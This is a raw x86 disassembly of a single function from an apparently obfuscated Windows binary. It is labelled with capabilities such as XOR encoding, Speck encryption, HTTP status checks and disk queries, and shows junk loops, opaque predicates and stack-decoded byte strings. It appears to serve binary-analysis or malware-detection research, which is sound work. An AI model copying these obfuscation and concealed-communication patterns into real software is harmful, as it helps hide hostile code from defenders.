Function at 0x100029b8
Capabilities:
Check http status code
Encode data using xor
Encrypt data using speck
Get disk information

Disassembly:
mov eax, 0x100606c9
call fcn.10060138
sub esp, 0x554
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x1a4], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
push ebx
mov byte [ebp - 4], 1
call fcn.10002495
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], ebx
jmp 0x10002a32
push ebx
push ecx
push 0x6c7a
push ecx
push ecx
mov byte [ebp - 0x44], bl
lea ecx, [ebp - 0x44]
mov edx, 0x6243
call fcn.10001d99
add esp, 0x14
mov ecx, 0x18fb
push 1
call fcn.100021f2
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe9
pop ecx
jge 0x10002a07
push 0x6c
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xa8], 0x904250c
mov dword [ebp - 0xa4], 0xe0b0401
mov dword [ebp - 0xa0], 0x2d082c06
mov dword [ebp - 0x9c], 0x110a0d02
mov dword [ebp - 0x98], 0x1b070609
mov dword [ebp - 0x94], 0x6e004205
mov dword [ebp - 0x90], 0x60042b03
mov word [ebp - 0x8c], 0x79c3
mov byte [ebp - 0x8a], 0xe2
mov word [ebp - 0x330], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 0x1a
jne 0x10002ab7
push 5
pop ecx
push 0x1d
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x10002b08
movzx edx, byte [ebp + esi - 0xa7]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xaa]
movzx ecx, word [ebp + eax*2 - 0x348]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa8]
add ecx, edx
lea edx, [ebp - 0x168]
push ecx
push 0x329d
mov word [ebp + eax*2 - 0x348], cx
xor cl, cl
call fcn.100023c3
pop ecx
pop ecx
mov ecx, dword [ebp - 0x168]
add esi, 2
cmp esi, 0x1f
jb 0x10002aa4
xor eax, eax
lea ecx, [ebp - 0x230]
mov word [ebp - 0x32e], ax
mov dword [ebp - 0x18], 0x844a7543
mov dword [ebp - 0x14], 0xec3203bd
push 3
call fcn.10004840
mov byte [ebp - 4], 2
xor ecx, ecx
push 3
mov dword [ebp - 0x1c], 0x7b5cf1c9
inc ecx
pop edx
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x20], ebx
jmp 0x10002b5a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x70], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10002b50
mov dword [ebp - 0x20], ebx
jmp 0x10002b77
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x230]
mov dword [eax + ecx*4], 0xaf0a9b27
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10002b64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov edi, 0x8c66
mov dword [ebp - 0x70], edi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x230]
neg edx
mov dword [ebp - 0x18], esi
sbb edx, edx
inc edx
cmp edx, 0xe6f7fbf2
mov edx, dword [esi + 8]
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, edi
setl cl
xor eax, eax
cmp ecx, edx
setne al
sub eax, edx
sub eax, 0xfffffff7
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
je 0x10002be7
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10002c15
push ebx
call fcn.10001ab7
pop ecx
jmp 0x10002c15
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], 0x42be197e
push 1
push eax
xor dl, dl
mov cl, 1
call fcn.1000226d
mov dl, 1
push ebx
push 0x1814
mov cl, dl
call fcn.1000226d
add esp, 0x10
mov dword [ebp - 0x20], 0x6f90
cmp dword [ebp - 0x20], 0x729b
jle 0x10002c7b
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x3e8]
and eax, edi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10002c45
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3e8]
call fcn.10004d0a
inc esi
cmp esi, 0x7b9
jl 0x10002c29
inc edi
cmp edi, 0x144c
jl 0x10002c27
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
cmp dword [esi + 8], 9
setge cl
xor eax, eax
cmp ecx, dword [esi + 8]
setg al
cmp eax, dword [ebp - 0x18]
jle 0x10002cb9
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x14], eax
jmp 0x10002d60
mov dword [ebp - 0x2c], 0x4fa72d50
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x2c], 0x3747c914
mov dword [ebp - 0x1c], 0x4104
cmp dword [ebp - 0x1c], 0x41f1
jle 0x10002d15
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x18], ebx
lea eax, [ebx + esi]
mov ecx, 0x1007cb98
xor eax, edi
cdq
push edx
push eax
call fcn.10004616
inc ebx
cmp ebx, 0x71b4
jl 0x10002ce5
inc esi
push 0
pop ebx
cmp esi, 0x45bd
jl 0x10002ce2
inc edi
cmp edi, 0x67d4
jl 0x10002ce0
push ecx
lea eax, [ebp - 0x214]
xor cl, cl
push eax
call fcn.10001ade
pop ecx
mov byte [ebp - 4], 3
cmp dword [ebp - 0x1c], 0x40d3
pop ecx
jge 0x10002d60
mov edx, str.onjeadxv_rbhnye_navwwbkc_ndla_nunbdpk_dmyai_ktzvzvzjf_oyvkt
mov ecx, 0x1007cb98
call fcn.10006a66
jmp 0x10002d60
cmp dword [ebp - 0x20], 0x6f4d
jge 0x10002d74
push str.pmpwd_kqoqumo_uaaf_kxmioy_zmboihs_wvcesmbv_ihctwgbue_fdempm_tfu
call fcn.10047e1c
pop ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 1
call fcn.1000489d
mov dword [ebp - 0x1c], 0x3dbc
cmp dword [ebp - 0x1c], 0x415c
jle 0x10002de3
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x430]
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10002db5
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x430]
call fcn.10004d0a
inc esi
cmp esi, 0x4598
jl 0x10002d9a
inc edi
cmp edi, 0x597d
jl 0x10002d98
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp dword [ebp - 0x1c], 0x3cb3
jge 0x10002df7
push str.tinfkqm_pxdvajlqp_pezjg_ggh_zjoqa_gfirt_jxpna_fon_giqzamck_glfea
call fcn.10047e1c
pop ecx
xor eax, eax
lea ecx, [ebp - 0x2a4]
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 0x7f6cc9ca
mov dword [ebp - 0x1f8], 0xfffffffd
mov dword [ebp - 0x1a8], 6
push eax
call fcn.10004840
lea eax, [ebp - 0x2b8]
mov byte [ebp - 4], 9
push eax
push ecx
lea edx, [ebp - 0x2a4]
xor cl, cl
call fcn.100023eb
pop ecx
pop ecx
push 0x65e2
lea eax, [ebp - 0x4c]
mov edx, 0x17f
push eax
push ecx
push ecx
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x1f8]
push eax
push ebx
lea ecx, [ebp - 0x58]
call fcn.10001ea1
mov dword [ebp - 0x1c], 0x6052
add esp, 0x1c
cmp dword [ebp - 0x1c], 0x6150
jle 0x10002ee5
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x478]
or eax, esi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10002ea1
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x478]
call fcn.10004d0a
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, 0x2282
jl 0x10002e85
inc edi
cmp edi, 0x5234
jl 0x10002e83
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x6a57
jl 0x10002e81
push ebx
push 0x1d0b
push 0x2d
push ebx
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
cmp dword [ebp - 0x1c], 0x5ff4
jge 0x10002ef9
push str.ajthyb_neagtcr_pmy_ssbpqppti_ueebzk_hsflrs_xxxia_kshbicor_jgdyt_jthbsanl_kmjigkqzu_knihrryn
call fcn.10047e1c
pop ecx
mov dword [ebp - 4], 9
mov dword [ebp - 0x4c], 0xffffffe9
jmp 0x10002f46
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], ebx
jl 0x10002f3e
lea eax, [ebp - 0x1a8]
push eax
push ecx
push ecx
push 1
push 0x908
lea edx, [ebp - 0x2a4]
lea ecx, [ebp - 0x58]
call fcn.1000221f
add esp, 0x14
dec dword [ebp - 0x58]
jns 0x10002f18
cmp dword [ebp - 0x1c], ebx
jne 0x10002f4c
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0xc
jne 0x10002f09
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 1
call fcn.1000489d
push 0x61
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x88], 0x4078b04
mov word [ebp - 0x84], 0x603
mov byte [ebp - 0x82], 5
mov byte [ebp - 0x81], bl
mov dword [ebp - 0x80], 0x79044e02
mov dword [ebp - 0x7c], 0x166f423
mov word [ebp - 0x78], 0x642
mov byte [ebp - 0x76], 7
mov byte [ebp - 0x75], bl
mov byte [ebp - 0x74], 6
mov word [ebp - 0x260], ax
pop esi
mov dword [ebp - 0x154], ecx
cmp esi, 0xa
jne 0x10002fc2
push 5
pop ecx
push 0xd
mov dword [ebp - 0x154], ecx
pop esi
jmp 0x10003018
movzx edx, byte [ebp + esi - 0x87]
mov eax, esi
sub eax, ecx
push 0x20ad
movzx eax, byte [ebp + eax - 0x8a]
movzx ecx, word [ebp + eax*2 - 0x268]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x88]
add ecx, edx
mov word [ebp + eax*2 - 0x268], cx
lea eax, [ebp - 0x154]
push eax
push 0x5b2
push ebx
call fcn.100020ef
mov ecx, dword [ebp - 0x154]
add esp, 0x10
add esi, 2
cmp esi, 0x15
jb 0x10002faf
xor eax, eax
push 6
mov word [ebp - 0x258], ax
mov dword [ebp - 0x3c], 0x5c96
pop esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x3c], ebx
je 0x10003101
mov dword [ebp - 0x1d0], 0xc63c4078
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x204], 3
push 2
call fcn.10004840
push 4
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0xc
call fcn.10004840
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x48], ebx
jmp 0x1000308d
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x298]
mov dword [eax + ecx*4], 0xc58f
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jl 0x1000307a
push 0x5e12
push ebx
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x23c]
call fcn.1000283b
pop ecx
push ebx
sub esp, 0xc
mov ecx, 0xcc3
call fcn.10002981
add esp, 0x10
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x204]
push 0x1006
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x1d0]
push eax
push ebx
call fcn.10002431
add esp, 0x18
lea ecx, [ebp - 0x23c]
call fcn.1000489d
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 1
call fcn.1000489d
jmp 0x10003107
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], ebx
jmp 0x10003121
mov dl, 1
push 1
push 0x4176
mov cl, dl
call fcn.1000226d
dec dword [ebp - 0x3c]
pop ecx
pop ecx
cmp dword [ebp - 0x3c], 0xfffffff7
jne 0x1000310c
xor eax, eax
mov dword [ebp - 0x318], ebx
push 7
pop edi
mov word [ebp - 0x328], ax
lea ecx, [ebp - 0x328]
lea eax, [ebp - 0x268]
mov dword [ebp - 0x314], edi
push eax
call fcn.10004d4e
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x30c]
xor eax, eax
mov dword [ebp - 0x2f8], edi
mov word [ebp - 0x30c], ax
lea eax, [ebp - 0x348]
push eax
mov dword [ebp - 0x2fc], ebx
call fcn.10004d4e
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.10006dff
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x3b8]
call fcn.10006dff
push ebx
push 1
lea ecx, [ebp - 0x30c]
call fcn.10004dd6
push ebx
push 1
lea ecx, [ebp - 0x328]
call fcn.10004dd6
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x3a0]
push dword [ebp + 0x10]
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x18c], ebx
push eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x188], ebx
push eax
push ebx
mov dword [ebp - 0x184], ebx
call fcn.100071b1
push fcn.100044d4
push 1
push 0x30
lea eax, [ebp - 0x3d0]
mov byte [ebp - 4], 0x11
push eax
call fcn.10047bbb
mov ecx, edi
xor eax, eax
lea edi, [ebp - 0x348]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x268]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x224]
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x1e8], 0x69bd
call fcn.10004840
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x310]
mov dword [ebp - 0x38], 0xc6d21cd
mov dword [ebp - 0x6c], esi
push eax
mov dword [ebp - 0x1c], 0x67df2ddf
mov dword [ebp - 0x2c], 5
push 0x59e6
lea eax, [ebp - 0x224]
xor cl, cl
push eax
call fcn.10001ce9
pop ecx
pop ecx
lea eax, [ebp - 0x38]
push eax
push 0xd80
push 1
push ecx
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0x1e8]
lea ecx, [ebp - 0x224]
call fcn.100028c5
mov dword [ebp - 0x20], 0x7106
add esp, 0x18
cmp dword [ebp - 0x20], 0x726a
jle 0x1000332f
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x14], ebx
mov ecx, edi
mov dword [ebp - 0x170], ebx
mov esi, eax
mov edi, ebx
shl esi, cl
and esi, edx
mov eax, edi
lea ecx, [ebp - 0x400]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100032e2
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x400]
call fcn.10004d0a
inc edi
cmp edi, 0x6dd
jl 0x100032c6
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
inc edi
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edi
cmp edi, 0x5f09
jl 0x100032b6
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x572f
jl 0x100032b1
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x3844
jl 0x100032ac
push 6
pop esi
cmp dword [ebp - 0x20], 0x6dbc
jge 0x10003343
push str.zzjrh_tttohvjs_lxsxwl_ammem_wzcks_dozznzz_xufnt_hzje_afxpbrlsz_vxxvwv_zjkqczie_uhdqpai_fcbmblng_bhcfgpx
call fcn.10047e1c
pop ecx
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x38], 0xa
jmp 0x1000342e
mov ecx, dword [ebp - 0x224]
xor edx, edx
mov dword [ebp - 0x14], 0x4acc
mov dword [ebp - 0x19c], 0xfffffffa
cmp dword [ecx], 0x9ed5
mov eax, dword [ecx]
setne dl
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x6c]
setne cl
imul ecx, eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x6c]
mov dword [ebp - 0x170], ecx
xor ecx, ecx
cmp eax, dword [ebp - 0x170]
setl cl
xor edx, edx
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub ecx, 0xc7e7
cmp ecx, eax
setg dl
neg edx
je 0x100033dd
cmp dword [ebp - 0x14], ebx
je 0x100033dd
xor eax, eax
inc eax
jmp 0x100033df
mov eax, ebx
imul ecx, eax, 0xfffffff9
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
imul edx, eax
mov eax, dword [ebp - 0x2c]
add eax, edx
je 0x10003416
push 0x4b1
lea eax, [ebp - 0x19c]
mov cl, 1
push eax
push 0x2751
call fcn.10001ce9
add esp, 0xc
jmp 0x1000342b
push ebx
sub esp, 0xc
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x19c]
call fcn.1000255d
add esp, 0x10
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x1d
jl 0x10003356
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x11
call fcn.1000489d
push dword [ebp + 0x10]
lea ecx, [ebp - 0x18c]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x188]
call fcn.10007047
mov dword [ebp - 0x20], 0x99cf
mov dword [ebp - 0x14], 0x62a2b3b7
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
jne 0x100034ff
cmp dword [ebp - 0x20], esi
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x20]
jne 0x100034ff
push 3
lea ecx, [ebp - 0x2dc]
call fcn.10004840
lea eax, [ebp - 0x2b4]
mov byte [ebp - 4], 0x15
push eax
push 0x6c98
lea eax, [ebp - 0x2dc]
push eax
push 1
call fcn.100020ef
mov dword [ebp - 0x20], 2
add esp, 0x10
cmp dword [ebp - 0x20], ebx
jl 0x100034ee
push 0x6a54
push ecx
mov edx, 0x75f
mov cl, 1
call fcn.100023eb
dec dword [ebp - 0x20]
pop ecx
pop ecx
jns 0x100034d5
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x11
call fcn.1000489d
jmp 0x1000353b
mov dword [ebp - 0x14], 0x19
jmp 0x10003535
push 0x7e71
push ebx
mov byte [ebp - 0x42], bl
lea edx, [ebp - 0x42]
push ecx
call fcn.1000293f
add esp, 8
mov byte [ebp - 0x43], bl
lea eax, [ebp - 0x43]
mov edx, 0x389f
mov cl, 1
push eax
call fcn.100023c3
dec dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 4
jg 0x10003508
push ebx
push 0x11ac9
push 0x128eb
call fcn.1003ec50
pop ecx
pop ecx
call eax
push 0x16e5
push ebx
lea ecx, [ebp - 0x2d0]
call fcn.10001ddd
mov dword [ebp - 0x5c], 0xfffffffb
mov dword [ebp - 0x1d4], 1
pop ecx
mov dword [ebp - 0x200], 0x764ce34a
pop ecx
mov dword [ebp - 0x5c], ebx
cmp dword [ebp - 0x5c], 0x1b
je 0x10003648
mov dword [ebp - 0x1fc], 1
mov dword [ebp - 0x1c], 0x3bf0
cmp dword [ebp - 0x1c], 0x3f20
jle 0x100035ed
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x448]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100035c6
mov eax, dword [eax]
push eax
call fcn.10047e1c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.10004d0a
inc esi
cmp esi, 0x1be1
jl 0x100035a8
inc edi
cmp edi, 0x1923
jl 0x100035a6
mov dword [ebp - 0x210], ebx
cmp dword [ebp - 0x1c], 0x3acc
jge 0x10003607
push str.wukvkcf_vtbmzkfjl_megwenig_jsgs_riy_zozqoubel_pwzvo_tgzjpzh_vrnyxqzid_qayzysh_jjjgqwi
call fcn.10047e1c
pop ecx
push ecx
lea eax, [ebp - 0x1fc]
mov dword [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x210]
call fcn.10002324
mov eax, dword [ebp - 0x2c]
add esp, 0x14
inc dword [ebp - 0x5c]
jmp 0x10003580
push 0x15da
push ecx
push ecx
mov dword [ebp - 0x34], ebx
lea eax, [ebp - 0x54]
push ebx
mov dword [ebp - 0x54], ebx
mov edx, 0x5618
mov dword [ebp - 0x2c], 0x11151c
mov ecx, 0x5db0
push eax
call fcn.1000221f
add esp, 0x14
mov dword [ebp - 0x54], ebx
jmp 0x100036a8
mov dword [ebp - 0x14], ebx
jmp 0x1000368e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2f4], 0xe08974b6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000367d
cmp dword [ebp - 0x2f4], ebx
jne 0x100036ae
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x1a
jne 0x10003678
push 0x43
pop eax
push 2
mov dword [ebp - 0xf8], 0x2167904
mov dword [ebp - 0xf4], 0x39250508
mov dword [ebp - 0xf0], 0x6b1e500e
mov dword [ebp - 0xec], 0x741c0211
mov dword [ebp - 0xe8], 0x1918040a
mov dword [ebp - 0xe4], 0x1031422
mov dword [ebp - 0xe0], 0x8070819
mov dword [ebp - 0xdc], 0x7a0d7b1b
mov dword [ebp - 0xd8], 0x1c101409
mov dword [ebp - 0xd4], 0x14201c13
mov dword [ebp - 0xd0], 0x7d247c01
mov dword [ebp - 0xcc], 0x2120806
mov word [ebp - 0xc8], 0x7602
mov byte [ebp - 0xc6], bl
mov dword [ebp - 0xc5], 0x1a4a053f
mov dword [ebp - 0xc1], 0x14040c01
mov dword [ebp - 0xbd], 0xb08150d
mov dword [ebp - 0xb9], 0x1d041f02
mov dword [ebp - 0xb5], 0x17712303
mov dword [ebp - 0xb1], 0x21050f71
mov byte [ebp - 0xad], 7
mov word [ebp - 0x4c0], ax
pop esi
movzx eax, byte [ebp + esi - 0xfa]
movzx ecx, byte [ebp + esi - 0xf7]
movzx eax, word [ebp + eax*2 - 0x4c8]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0xf8]
add esi, 2
mov word [ebp + eax*2 - 0x4c8], dx
cmp esi, 0x4c
jb 0x10003785
xor eax, eax
mov dword [ebp - 0x26c], 7
mov word [ebp - 0x47c], ax
lea ecx, [ebp - 0x280]
mov word [ebp - 0x280], ax
lea eax, [ebp - 0x4c8]
push eax
mov dword [ebp - 0x270], ebx
call fcn.10004d4e
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x2c], 0x3413
mov dword [ebp - 0x14], ebx
jmp 0x10003813
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2e8], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10003802
push ecx
lea eax, [ebp - 0x50]
mov edx, 0x6f45
push eax
push 0x5aa1
push 0x5c8d
push 0x437a
push 1
mov ecx, 0x7ccc
call fcn.10002431
add esp, 0x18
mov dword [ebp - 0x50], ebx
jmp 0x100038c0
mov dword [ebp - 0x1c], 0x9dbea522
xor edx, edx
mov dword [ebp - 0x18], 0xb372ba29
mov dword [ebp - 0x18], 0x487223b1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0xc9eb
imul ecx, dword [ebp - 0x18], 0xa00c
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x2e8]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x75d5
setl al
cmp eax, 0xf746e33a
jae 0x100038a1
cmp dword [ebp - 0x2e8], ebx
jne 0x100038a1
mov ecx, ebx
jmp 0x100038a4
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x718e5034
add eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x30
jle 0x10003846
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x4c8]
rep stosd dword es:[edi], eax
push 3
pop edx
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0x43cdf98a
mov dword [ebp - 0x14], ebx
jmp 0x100038f5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x370], 0xc93b4e1a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100038e4
push 2
pop ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
jl 0x1000394f
mov dword [ebp - 0x14], 0x1da622a1
mov dword [ebp - 0x14], ebx
jmp 0x10003922
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x364], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10003911
mov dword [ebp - 0x364], 0x9c3fbb4
mov dword [ebp - 0x14], ebx
jmp 0x10003945
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x370], ebx
jne 0x1000394a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x10003936
dec dword [ebp - 0x18]
jns 0x10003905
push 0x2d
pop eax
mov byte [ebp - 0x132], cl
mov esi, ecx
mov byte [ebp - 0x121], cl
mov byte [ebp - 0x11a], cl
mov ecx, ebx
mov dword [ebp - 0x150], 0x1d196c09
mov byte [ebp - 0x14c], 0x1a
mov byte [ebp - 0x14b], bl
mov dword [ebp - 0x14a], 0x7177223
mov dword [ebp - 0x146], 0x11c7410
mov byte [ebp - 0x142], 0x21
mov byte [ebp - 0x141], bl
mov dword [ebp - 0x140], 0x140a1d18
mov byte [ebp - 0x13c], 4
mov byte [ebp - 0x13b], dl
mov dword [ebp - 0x13a], 0x49113e2
mov byte [ebp - 0x136], bl
mov byte [ebp - 0x135], dl
mov word [ebp - 0x134], 0x1e7d
mov dword [ebp - 0x131], 0x70067008
mov dword [ebp - 0x12d], 0x7701770f
mov dword [ebp - 0x129], 0x44203b25
mov dword [ebp - 0x125], 0x77157d11
mov byte [ebp - 0x120], 5
mov byte [ebp - 0x11f], bl
mov dword [ebp - 0x11e], 0x7480d4d
mov word [ebp - 0x119], 0x524
mov byte [ebp - 0x117], 0x1d
mov byte [ebp - 0x116], bl
mov dword [ebp - 0x115], 0x70220616
mov dword [ebp - 0x111], 0x741b750c
mov dword [ebp - 0x10d], 0x700b7012
mov dword [ebp - 0x109], 0x6f130114
mov byte [ebp - 0x105], 0xe
mov byte [ebp - 0x104], bl
mov dword [ebp - 0x103], 0x905141f
mov word [ebp - 0x506], ax
cmp esi, 0x14
jne 0x10003a7e
push 5
pop ecx
push 0x17
pop esi
jmp 0x10003ab6
movzx edx, byte [ebp + esi - 0x14f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x152]
movzx ecx, word [ebp + eax*2 - 0x518]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x150]
add ecx, edx
mov word [ebp + eax*2 - 0x518], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x51
jb 0x10003a71
xor eax, eax
lea ecx, [ebp - 0x2b0]
mov word [ebp - 0x4cc], ax
mov dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x40], 0x4bda99da
mov dword [ebp - 0x218], ebx
push 3
call fcn.10004840
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x1c], 0x9c1c50d5
mov dword [ebp - 0x2c], 0x1a2955e3
mov dword [ebp - 0x14], ebx
jmp 0x10003b10
mov eax, dword [ebp - 0x14]
